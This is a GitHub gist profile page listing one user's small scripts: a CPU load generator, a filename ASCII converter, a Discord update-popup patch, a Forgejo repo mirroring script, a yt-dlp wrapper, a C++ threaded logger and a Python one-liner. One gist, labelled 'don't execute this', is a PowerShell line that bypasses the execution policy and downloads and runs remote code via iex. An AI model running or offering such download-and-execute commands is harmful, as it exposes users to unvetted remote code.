Skip to content

Instantly share code, notes, and snippets.

View Urpagin's full-sized avatar
🈳
Diffusion Frro Em

Urpagin Urpagin

🈳
Diffusion Frro Em
View GitHub Profile
echo hello
#!/usr/bin/env python
"""
Produces load on all available CPU cores
"""
from multiprocessing import Pool
from multiprocessing import cpu_count
def f(x):
@Urpagin
Urpagin / e.ps1
Last active November 11, 2025 22:34
don't execute this
PowerShell -NoProfile -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://gist.githubusercontent.com/Urpagin/6e81101866e5fbe3a9449f8def34af1d/raw/50a32bc4f8f652e08862d18b4f639acb22aa26ce/e.py'))"
@Urpagin
Urpagin / detox_ascii.py
Created May 30, 2025 12:14
Small Python Filename ASCII-ification (similar to detox)
#!/usr/bin/env python3
# Author: Urpagin
# Date: 2025-05-30
# Description: Removes any non-ASCII character in files and folders passed in arguments. Replaces spaces with underscores. If empty, error out.
import sys
import argparse
from glob import iglob
from pathlib import Path
@Urpagin
Urpagin / patch-discord-update.sh
Created July 15, 2025 05:34
Patches the annoying Discord update pop-up on Linux
#!/usr/bin/env bash
# Patches the annoying update Discord pop-up on Linux.
# Author: Urpagin
# Date: 2025-07-15
# Multiline command
command -v jq >/dev/null 2>&1 && \
f="$HOME/.config/discord/settings.json" && \
@Urpagin
Urpagin / mirror_repo_forgejo.sh
Created July 19, 2025 21:47
Forgejo - GitHub Repo Mirroring Script
#!/usr/bin/env bash
t='<FORGEJO API KEY>'
u='<FORGEJO_URL_WITH_PORT>' # e.g., http://localhost:3000
curl -X POST $u/api/v1/repos/migrate \
-H "Authorization: token $t" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "<GITHUB URL>",
@Urpagin
Urpagin / dl.sh
Last active August 18, 2025 10:44
yt-dlp wrapper to download maximal quality audio or video
#!/usr/bin/env bash
# Author: Urpagin
#
# Date: 2025-08-18
#
# License: MIT License, Copyright (c) 2025 Urpagin
#
# File: dl
#
@Urpagin
Urpagin / logger.hpp
Last active August 29, 2025 18:48
Simple C++17 threaded logger
//
// Created by Urpagin on 2025-08-28.
//
// A simple logger that does the work inside a dedicated thread so as
// not to block other operations too much.
//
// Licence: MIT
//
// "Multiple Producers, Single Consumer" type of logger.
#pragma once
@Urpagin
Urpagin / playrnd
Created August 30, 2025 15:36
Bash script that plays a random media file.
#!/usr/bin/env bash
# Author: Urpagin
# Date: 2025-08-30
# Description: Plays a random audio/video file given a directory.
# Default directory is cwd.
# Licence: MIT
set -euo pipefail
@Urpagin
Urpagin / funny_oneliner.py
Last active September 19, 2025 18:50
Funny One-liner
#!/usr/bin/env python3
# Author: Urpagin
# Date: 2025-09-19
# Description: Counts and prints the number of draws needed to obtain an even number.
# Numbers randomly selected between 1 and 6 (inclusive).
# License: MIT
print(f"{(rnd := __import__('random')) and ''}{((END := [0]), '')[1]}{(nums := len([n for n in iter(lambda: (lambda r: r if r % 2 != 0 else (END.__setitem__(0, r)) or END)(rnd.randint(1, 6)), END)]) + 1) and ''}There {'have' if nums > 1 else 'has'} been {nums} draw{'s' if nums > 1 else ''} before getting an even number: {END[0]}.")